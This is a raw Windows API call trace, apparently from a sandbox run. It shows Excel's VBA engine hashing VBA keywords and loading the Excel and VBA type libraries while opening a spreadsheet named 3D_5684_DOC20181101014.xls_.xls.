0x10ba23 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0078.651] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0078.652] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0078.653] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0078.654] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0078.654] StringFromGUID2 (in: rguid=0xaeb82e0*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26fa80, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0078.654] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26f740 | out: phkResult=0x26f740*=0xca2) returned 0x0 [0078.654] RegOpenKeyW (in: hKey=0xca2, lpSubKey="{00020813-0000-0000-C000-000000000046}", phkResult=0x26f738 | out: phkResult=0x26f738*=0xbba) returned 0x0 [0078.655] RegEnumKeyW (in: hKey=0xbba, dwIndex=0x0, lpName=0x26f768, cchName=0xa | out: lpName="1.9") returned 0x0 [0078.655] wcscpy_s (in: _Destination=0x26f750, _SizeInWords=0xa, _Source="1.9" | out: _Destination="1.9") returned 0x0 [0078.655] RegOpenKeyW (in: hKey=0xbba, lpSubKey="1.9", phkResult=0x26f7f8 | out: phkResult=0x26f7f8*=0xd66) returned 0x0 [0078.656] _ultoa_s (in: _Val=0x409, _DstBuf=0x26f770, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0078.656] RegOpenKeyA (in: hKey=0xd66, lpSubKey="409", phkResult=0x26f760 | out: phkResult=0x26f760*=0x0) returned 0x2 [0078.656] _ultoa_s (in: _Val=0x9, _DstBuf=0x26f770, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0078.656] RegOpenKeyA (in: hKey=0xd66, lpSubKey="9", phkResult=0x26f760 | out: phkResult=0x26f760*=0x0) returned 0x2 [0078.656] RegOpenKeyA (in: hKey=0xd66, lpSubKey="0", phkResult=0x26f760 | out: phkResult=0x26f760*=0xd0a) returned 0x0 [0078.656] RegOpenKeyW (in: hKey=0xd0a, lpSubKey="win64", phkResult=0x26f768 | out: phkResult=0x26f768*=0xb0a) returned 0x0 [0078.657] RegCloseKey (hKey=0xb0a) returned 0x0 [0078.658] RegCloseKey (hKey=0xd0a) returned 0x0 [0078.658] _ultow_s (in: _Value=0x0, _Buffer=0x26f800, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.658] RegOpenKeyW (in: hKey=0xd66, lpSubKey="0", phkResult=0x26f7d8 | out: phkResult=0x26f7d8*=0xa8e) returned 0x0 [0078.658] RegQueryValueW (in: hKey=0xa8e, lpSubKey="win64", lpData=0x26f820, lpcbData=0x26f7d4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", lpcbData=0x26f7d4) returned 0x0 [0078.659] wcscpy_s (in: _Destination=0x26fb50, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0078.659] RegCloseKey (hKey=0xa8e) returned 0x0 [0078.659] RegCloseKey (hKey=0xd66) returned 0x0 [0078.659] RegCloseKey (hKey=0xbba) returned 0x0 [0078.659] RegCloseKey (hKey=0xca2) returned 0x0 [0078.659] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE", pptlib=0x26f7d8*=0x0 | out: pptlib=0x26f7d8*=0xb1d0560) returned 0x0 [0078.725] ITypeLib:RemoteGetDocumentation (in: This=0xb1d0560, index=-1, refPtrFlags=0x26f7f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xcd1c7f8 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xcd1c7f8) returned 0x0 [0078.725] IUnknown:QueryInterface (in: This=0xb1d0560, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f5e8 | out: ppvObject=0x26f5e8*=0x0) returned 0x80004002 [0078.725] ITypeLib:RemoteGetLibAttr (in: This=0xb1d0560, ppTLibAttr=0x26f5e0, pDummy=0x10 | out: ppTLibAttr=0x26f5e0, pDummy=0x10) returned 0x0 [0078.725] ITypeLib:RemoteGetDocumentation (in: This=0xb1d0560, index=-1, refPtrFlags=0x0, pbstrName=0x26f5d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x738c660 | out: pbstrName=0x26f5d8*="Microsoft Excel 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x738c660) returned 0x0 [0078.725] StringFromGUID2 (in: rguid=0x4d86030*(Data1=0x20813, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f600, cchMax=39 | out: lpsz="{00020813-0000-0000-C000-000000000046}") returned 39 [0078.725] _ultow_s (in: _Value=0x1, _Buffer=0x26f54a, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0078.725] _ultow_s (in: _Value=0x9, _Buffer=0x26f54e, _BufferCount=0xe, _Radix=16 | out: _Buffer="9") returned 0x0 [0078.725] _ultow_s (in: _Value=0x0, _Buffer=0x26f552, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.725] wcscpy_s (in: _Destination=0x6ea2798, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0078.725] wcscpy_s (in: _Destination=0x6ea279e, _SizeInWords=0x8b, _Source="{00020813-0000-0000-C000-000000000046}" | out: _Destination="{00020813-0000-0000-C000-000000000046}") returned 0x0 [0078.725] wcscpy_s (in: _Destination=0x6ea27ea, _SizeInWords=0x65, _Source="#1.9#0#" | out: _Destination="#1.9#0#") returned 0x0 [0078.725] wcscpy_s (in: _Destination=0x6ea27f8, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0078.725] wcscpy_s (in: _Destination=0x6ea286c, _SizeInWords=0x24, _Source="Microsoft Excel 16.0 Object Library" | out: _Destination="Microsoft Excel 16.0 Object Library") returned 0x0 [0078.725] ITypeLib:LocalReleaseTLibAttr (This=0xb1d0560) returned 0x0 [0078.725] IMalloc:Realloc (This=0x7feffc15380, pv=0xb300a80, cb=0x1a0) returned 0xb269700 [0078.725] wcscpy_s (in: _Destination=0xb269700, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0078.725] ITypeLib:RemoteGetDocumentation (in: This=0xb1d0560, index=-1, refPtrFlags=0x26f6f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5) returned 0x0 [0078.725] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0078.725] strcpy_s (in: _Dst=0x26f4f0, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0078.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f4f0, cbMultiByte=6, lpWideCharStr=0x26f340, cchWideChar=6 | out: lpWideCharStr="Excel") returned 6 [0078.726] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0078.726] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0078.726] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xb4f0e00 [0078.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb4f0e00, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0078.726] IMalloc:Free (This=0x7feffc15380, pv=0xb4f0e00) [0078.726] IMalloc:Realloc (This=0x7feffc15380, pv=0xb234710, cb=0x220) returned 0x7604740 [0078.726] wcscpy_s (in: _Destination=0x7604800, _SizeInWords=0x8e, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library" | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0078.726] wcsncpy_s (in: _Destination=0x26f330, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0078.726] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0078.726] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xb4f0e00 [0078.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb4f0e00, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0078.726] IMalloc:Free (This=0x7feffc15380, pv=0xb4f0e00) [0078.726] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.726] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.726] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb300a80 [0078.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb300a80, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.726] IMalloc:Free (This=0x7feffc15380, pv=0xb300a80) [0078.726] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.726] IUnknown:AddRef (This=0xb1d0560) returned 0x2 [0078.726] IUnknown:QueryInterface (in: This=0xb1d0560, riid=0x7fee5e085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f718 | out: ppvObject=0x26f718*=0x0) returned 0x80004002 [0078.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x26f6e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0078.726] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0078.726] IUnknown:Release (This=0xb1d0560) returned 0x1 [0078.726] GetModuleFileNameW (in: hModule=0x7fee5a60000, lpFilename=0x7fee5e3e4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0078.727] QueryPathOfRegTypeLib (in: guid=0x7fee5e0dd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x26f780 | out: lpbstrPathName=0x26f780) returned 0x0 [0078.730] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x26f7d8*=0x0 | out: pptlib=0x26f7d8*=0xb1d1370) returned 0x0 [0078.742] IUnknown:AddRef (This=0xb1d1370) returned 0x2 [0078.742] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1370, index=-1, refPtrFlags=0x26f7f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x40e9d0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x40e9d0*="\xe9d0\x40") returned 0x0 [0078.742] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f5e8 | out: ppvObject=0x26f5e8*=0x0) returned 0x80004002 [0078.742] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x26f5e0, pDummy=0x10 | out: ppTLibAttr=0x26f5e0, pDummy=0x10) returned 0x0 [0078.742] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1370, index=-1, refPtrFlags=0x0, pbstrName=0x26f5d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x70636243d378 | out: pbstrName=0x26f5d8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x70636243d378) returned 0x0 [0078.742] StringFromGUID2 (in: rguid=0x4d86030*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f600, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0078.742] _ultow_s (in: _Value=0x4, _Buffer=0x26f54a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0078.742] _ultow_s (in: _Value=0x2, _Buffer=0x26f54e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0078.742] _ultow_s (in: _Value=0x9, _Buffer=0x26f552, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0078.742] wcscpy_s (in: _Destination=0x6ea2798, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0078.742] wcscpy_s (in: _Destination=0x6ea279e, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0078.742] wcscpy_s (in: _Destination=0x6ea27ea, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0078.742] wcscpy_s (in: _Destination=0x6ea27f8, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0078.742] wcscpy_s (in: _Destination=0x6ea287e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0078.742] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0078.742] IMalloc:Realloc (This=0x7feffc15380, pv=0xb269700, cb=0x340) returned 0xb3104f0 [0078.742] wcscpy_s (in: _Destination=0xb310638, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 